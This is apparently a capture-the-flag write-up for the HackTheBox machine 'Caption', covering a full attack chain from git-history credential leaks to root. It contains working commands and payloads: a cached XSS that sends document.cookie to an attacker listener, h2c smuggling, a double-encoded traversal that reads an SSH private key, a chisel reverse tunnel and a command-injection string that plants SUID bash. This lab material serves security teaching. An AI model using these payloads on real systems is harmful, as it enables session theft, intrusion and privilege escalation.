HTB: Caption Writeup

Caption - HackTheBox Writeup

Machine Information

AttributeDetails
NameCaption
OSLinux
DifficultyHard
PointsN/A
Release DateN/A
IP Address10.10.11.X
Authord3vn0mi

Machine Rating

⭐⭐⭐⭐☆ (4/5)

Difficulty Assessment:

  • Enumeration: ⭐⭐⭐☆☆
  • Real-world: ⭐⭐⭐⭐⭐
  • CVE: ⭐⭐☆☆☆
  • CTF-like: ⭐⭐⭐⭐☆

Summary

Caption is a Hard-difficulty Linux box built around a realistic three-tier reverse-proxy stack — HAProxy fronting a Varnish cache in front of a Flask “Caption Portal” application. The box rewards careful infrastructure review over raw exploitation: a public GitBucket instance leaks credentials through its commit history, a header-reflection bug in the cached Firewalls page enables a Web Cache Deception + stored XSS attack to steal an admin session, and that session is then used to smuggle HTTP/2 cleartext (h2c) requests straight through HAProxy’s Layer-7 ACLs. Behind those ACLs sits an internal copyparty instance vulnerable to CVE-2023-37474, which discloses an SSH private key for the foothold. Root is obtained through an internal Apache Thrift LogService that builds a shell command from attacker-controlled log fields with unsanitized fmt.Sprintf.

TL;DR: GitBucket commit history leak (margo creds) → Web Cache Deception + XSS steals admin session cookie → H2C smuggling bypasses HAProxy ACLs on /logs and /download → CVE-2023-37474 copyparty path traversal reads margo’s SSH key → SSH foothold (user) → Thrift LogService command injection on 127.0.0.1:9090 (root) → SUID bash → root.


Reconnaissance

Port Scanning

Terminal window
# Full TCP sweep first to avoid missing anything outside top-1000, then version/script scan on the open set
nmap -p- --min-rate=1000 -T4 -oA caption-full <TARGET_IP>
nmap -sC -sV -T4 -p22,80,8080 -oA caption-svc <TARGET_IP>

Results: exactly the three ports the box was designed around — nothing more, nothing less:

  • 22/tcp — SSH
  • 80/tcp — HTTP, sitting behind a reverse-proxy stack (HAProxy load-balancer in front, Varnish cache in front of a Werkzeug/Flask backend) serving a Caption Portal login page
  • 8080/tcpGitBucket (self-hosted Git web UI)

Service Enumeration

Port 8080 — GitBucket. GitBucket exposed two public repositories: Caption-Portal and Logservice. Caption-Portal contains the source for the login application plus HAProxy/Varnish config folders, confirming the two-layer proxy architecture inferred from the port 80 headers. Logservice contains Go source for an Apache Thrift-based log service — not directly reachable at this stage, but worth remembering for later.

Walking the commit history of Caption-Portal turned up hardcoded HAProxy basic-auth credentials committed and later “fixed” in a subsequent commit — the fix removed the line from the working tree but not from history:

Terminal window
# Clone (or browse) the repo and diff through history for anything removed later
git clone http://<TARGET_IP>:8080/git/caption/Caption-Portal.git
cd Caption-Portal
git log -p -- '*.cfg' '*haproxy*' | grep -i -E 'user|pass|insecure'

This surfaced the credential pair:

margo : vFr&cS2#0!

Port 80 — Caption Portal. This is the login-gated application sitting behind HAProxy → Varnish → Werkzeug. Reviewing the proxy configs pulled from GitBucket confirmed HAProxy explicitly denies any request whose path begins with /logs or /download at Layer 7 — a control that becomes relevant later once the h2c bypass is in play.

Vulnerability Assessment

  1. Secret leakage via VCS historymargo’s HAProxy password survived in old GitBucket commits after being “removed.”
  2. Web Cache Deception / reflected XSS — the Firewalls page reflects the X-Forwarded-Host header into an unsanitized utm_source query parameter, and the response is cached by Varnish.
  3. HAProxy ACL bypass via H2C smuggling — HAProxy’s path-based deny rules on /logs and /download only inspect the outer HTTP/1.1 request; an h2c cleartext upgrade tunnels straight past them.
  4. CVE-2023-37474copyparty, reachable only from behind those blocked endpoints, is vulnerable to a double-URL-encoded path traversal that discloses arbitrary files.
  5. Command injection in an internal Thrift RPC service — the LogService ReadLogFile handler builds a shell command with fmt.Sprintf using an attacker-controlled user-agent field, and runs as root.

Initial Foothold

Step 1 — Log in with leaked credentials

Using the margo:vFr&cS2#0! pair recovered from GitBucket’s commit history against the port 80 Caption Portal login succeeded, granting an authenticated (but low-privileged) session.

Authenticated pages such as Firewalls make a request that reflects the X-Forwarded-Host header value into a utm_source parameter without sanitization, and the whole response is cached by Varnish for a fixed TTL:

Terminal window
# Confirm the header is reflected into the cached response
curl -s -H "Cookie: session=<margo_session>" \
-H "X-Forwarded-Host: <marker>" \
http://<TARGET_IP>/firewalls | grep -o 'utm_source=[^"&]*'

Because Varnish caches the response, not the request, poisoning the cache at exactly the right moment (right as the current cached entry expires) causes the next visitor — an admin browsing the same page — to receive our poisoned copy instead of a fresh one. An XSS payload was crafted to exfiltrate document.cookie to a listener, timed to land at the cache’s expiry boundary so the poisoned response, not a clean one, got cached:

Terminal window
# Listener to catch the stolen admin session cookie
python3 -m http.server 8081
# Fire the header-injected XSS payload precisely as the Varnish cache entry expires
curl -s -H "Cookie: session=<margo_session>" \
-H "X-Forwarded-Host: \"></script><script>new Image().src='http://<LHOST>:8081/?'+document.cookie</script>" \
http://<TARGET_IP>/firewalls

An automated/headless admin session subsequently browsed the poisoned page and its session cookie landed on the listener.

Step 3 — H2C smuggling to bypass HAProxy’s /logs and /download deny rules

With an admin cookie in hand, the /logs and /download endpoints were still blocked by HAProxy’s Layer-7 ACLs. Since Varnish had HTTP/2 cleartext (h2c) support enabled, an h2c upgrade request tunnels a raw connection straight through HAProxy — which forwards the Upgrade/Connection headers without understanding what it’s actually proxying afterward — bypassing its own path-based inspection entirely:

Terminal window
# h2csmuggler establishes the h2c tunnel and issues the request directly to the backend,
# skipping HAProxy's ACL evaluation on subsequent requests over that connection
python3 h2csmuggler.py -x http://<TARGET_IP> http://<TARGET_IP>/logs \
-H "Cookie: session=<stolen_admin_session>"
python3 h2csmuggler.py -x http://<TARGET_IP> http://<TARGET_IP>/download \
-H "Cookie: session=<stolen_admin_session>"

This exposed a /download?url= proxy pointing at an internal copyparty instance.

Step 4 — CVE-2023-37474 (copyparty path traversal) to read the SSH key

copyparty (the internal file-sharing service reached through /download) is vulnerable to CVE-2023-37474, a directory traversal reachable via double URL-encoding that defeats naive path-decoding on the proxy hop:

Terminal window
# Double-URL-encode the traversal so it survives HAProxy's decode-then-forward pass intact
python3 h2csmuggler.py -x http://<TARGET_IP> \
"http://<TARGET_IP>/download?url=http://127.0.0.1:PORT/.cpr/%252Fhome%252Fmargo%252F.ssh%252Fid_ecdsa" \
-H "Cookie: session=<stolen_admin_session>"

This disclosed margo’s private SSH key, which was saved locally and used to authenticate directly:

Terminal window
chmod 600 id_margo
ssh -i id_margo margo@<TARGET_IP>
margo@caption:~$ whoami
margo
margo@caption:~$ cat user.txt
<redacted>

Privilege Escalation

Discovering the internal Thrift service

Enumerating locally-bound services on the box revealed an Apache Thrift LogService listening on 127.0.0.1:9090, run as root — the same service whose Go source had already been reviewed in the Logservice GitBucket repo during recon.

Terminal window
# Confirm the service and pull it to the attacker box for interaction
ss -tulnp | grep 9090

Reviewing the Logservice source, the ReadLogFile RPC handler builds a shell command by directly fmt.Sprintf-ing a user-agent field pulled from a log entry into a command string, then executes it — classic unsanitized string-built command execution, just reached over Thrift RPC instead of an HTTP form field.

Tunneling the service out and building a Thrift client

Since the service only listens on loopback, a tunnel was needed to reach it from the attacker box, and since Thrift is a compiled binary protocol (not something you can just curl), a matching client had to be built from the cloned Logservice source rather than crafted by hand:

Terminal window
# Pivot the internal Thrift port out to the attacker box
chisel server -p 8000 --reverse & # attacker side
./chisel client <ATTACKER_IP>:8000 R:9090:127.0.0.1:9090 & # run on caption via the margo SSH session
# Generate a Go Thrift client stub from the cloned Logservice IDL/source
thrift --gen go logservice.thrift

Exploiting the fmt.Sprintf command injection

A malicious Go client was built against the generated stubs to call ReadLogFile with a crafted user-agent field, injecting shell metacharacters that fmt.Sprintf happily concatenated into the command the root-owned service executes:

// Injected user-agent field breaks out of the intended log-read command
// and appends our own command via shell metacharacters
userAgent := "malicious-agent; cp /bin/bash /tmp/bash; chmod u+s /tmp/bash; #"
Terminal window
# Run the crafted client against the tunneled Thrift port
go run client.go

Because LogService runs as root, the injected command ran as root too, dropping a SUID copy of bash:

Terminal window
margo@caption:~$ /tmp/bash -p
bash-5.1# whoami
root
bash-5.1# cat /root/root.txt
<redacted>

Attack Chain Summary

GitBucket commit-history secret leak (margo:vFr&cS2#0!)
Caption Portal login (margo)
X-Forwarded-Host reflection → Web Cache Deception + stored XSS
Stolen admin session cookie
H2C smuggling → bypass HAProxy ACLs on /logs and /download
CVE-2023-37474 (copyparty path traversal) → margo's id_ecdsa
SSH foothold as margo → user.txt
chisel tunnel → root-owned Thrift LogService (127.0.0.1:9090)
fmt.Sprintf command injection in ReadLogFile → SUID /tmp/bash
root.txt

Tools Used

ToolPurpose
nmapPort scanning and service identification
GitBucket (web UI / git log)Mining commit history for leaked HAProxy credentials
curlTesting X-Forwarded-Host reflection and delivering the XSS payload
python3 -m http.serverCatching the exfiltrated admin session cookie
h2csmugglerHTTP/2 cleartext (h2c) smuggling to bypass HAProxy ACLs
copyparty CVE-2023-37474 exploit (double-encoded traversal)Reading margo’s SSH private key
sshAuthenticating as margo with the recovered key
chiselTunneling the internal Thrift port (9090) out to the attacker box
thrift compiler + custom Go clientCrafting the malicious ReadLogFile RPC call

Key Learnings

Techniques Practiced

  • Mining VCS (GitBucket) commit history for secrets removed from the working tree but not from history
  • Web Cache Deception combined with reflected/stored XSS via a proxy-trusted header (X-Forwarded-Host)
  • Timing cache poisoning against a fixed-TTL Varnish cache to land a payload for a specific victim
  • HTTP/2 cleartext (h2c) request smuggling to bypass Layer-7 ACLs on a proxy that isn’t h2c-aware
  • Exploiting CVE-2023-37474 (copyparty path traversal) through a double URL-encoded payload
  • Reviewing Thrift IDL/Go source to identify and reach an internal RPC-based command injection
  • Building a custom Thrift client from source to exploit a service with no HTTP-accessible interface

Lessons Learned

  1. Removing a secret in a later commit does not remove it from version control history — always check git log -p, not just the current tree.
  2. Any header a proxy trusts and reflects into a cacheable response (X-Forwarded-Host here) is a cache-poisoning primitive, not just a logging convenience.
  3. A proxy that forwards Upgrade/Connection headers to an h2c-capable backend without itself understanding HTTP/2 loses all visibility — and enforcement — over everything sent inside that tunnel.
  4. Internal-only services are not a security boundary by themselves; once a tunnel or smuggling primitive reaches them, they need the same input validation as anything internet-facing.
  5. fmt.Sprintf-based command construction is exactly as dangerous as string-concatenated shell commands in any other language — build commands with argument arrays, never string interpolation, especially from attacker-influenced log fields.

Proof of Ownership

User Flag: <redacted>
Root Flag: <redacted>

References

  • xRogue, Caption — Official HackTheBox Writeup (Document No. D25.100.320), used here only to confirm the CVE identifier and explain the mechanics of the Web Cache Deception, H2C smuggling, and copyparty traversal steps. All IPs, credentials, commands, and outputs above are from this run’s own solve.